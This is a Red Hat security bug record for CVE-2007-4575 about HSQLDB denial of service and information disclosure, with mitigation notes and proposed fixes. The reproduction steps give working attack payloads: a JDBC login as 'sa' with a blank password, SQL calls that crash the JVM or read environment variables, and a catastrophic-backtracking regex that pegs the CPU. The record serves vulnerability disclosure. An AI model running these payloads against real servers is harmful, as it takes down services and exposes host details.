Bug 298051 (CVE-2007-4575-b)
| Summary: | CVE-2007-4575 HSQLDB DoS and information disclosure | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | Marc Schoenefeld <mschoene> |
| Component: | vulnerability | Assignee: | Red Hat Product Security <security-response-team> |
| Status: | CLOSED CURRENTRELEASE | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | unspecified | CC: | dbhole, fnasser, kreilly, patrickm, rbiba, security-response-team |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2015-02-07 18:31:03 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 303551, 303561, 303581, 303591, 410891 | ||
| Bug Blocks: | |||
I've been told by the maintainer, Fred Toussi (fredt.net), that there will be no mechanism in place to restrict connections to the server until 1.9.0. Despite that, I convinced hsqldb 1.8.0.7 on RHEL 5 to ignore remote connection attempts by having it bind to 127.0.0.1 rather than 0.0.0.0. To achieve this, you can set the (undocumented) property "server.address" in /var/lib/hsqldb/server.properties. Additionally, I've been told that there is no way to disable the default "sa" user. I think that the best we can do is probably to change the password during install to something random. |
Description of problem: The HSQLDB service in various products is vulnerable to DoS and information disclosure. Version-Release number of selected component (if applicable): 1.8.0.4-3jpp.4 How reproducible: 1) Start HSQLDB service. /sbin/service hsqldb start (may need to change login shell for su-ing the service) 2) Connect via JDBC (f.i. with ant sql task) to port 9001 on the machine hosting the hsqldb service <sql driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:hsql://hostname:9001/firstdb" userid="sa" password="" print="true" > <!-- Here come the SQL statements --> </sql> An attacker may choose an SQL statement such as a) CALL “sun.misc.MessageUtils.toStderr†(NULL) ; to crash the JVM running the service or b) CALL "java.lang.System.getenv" ('PATH'); to spy for system properties. c) CALL "java.util.regex.Pattern.compile" ('(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?(A+)?'); puts CPU to 100%. These calls apply to HSQLDB running with Sun JDK 1.5, vulnerable methods therefore may differ with other JDK versions. Actual results: - Crashed JVM , - CPU at 100% - exposed host/user details Expected results: - Disable ALIAS command for java methods in HSQLDB and activate java security manager, - Secure Service with password - Don't allow cleartext connections allowed (prefer TLS)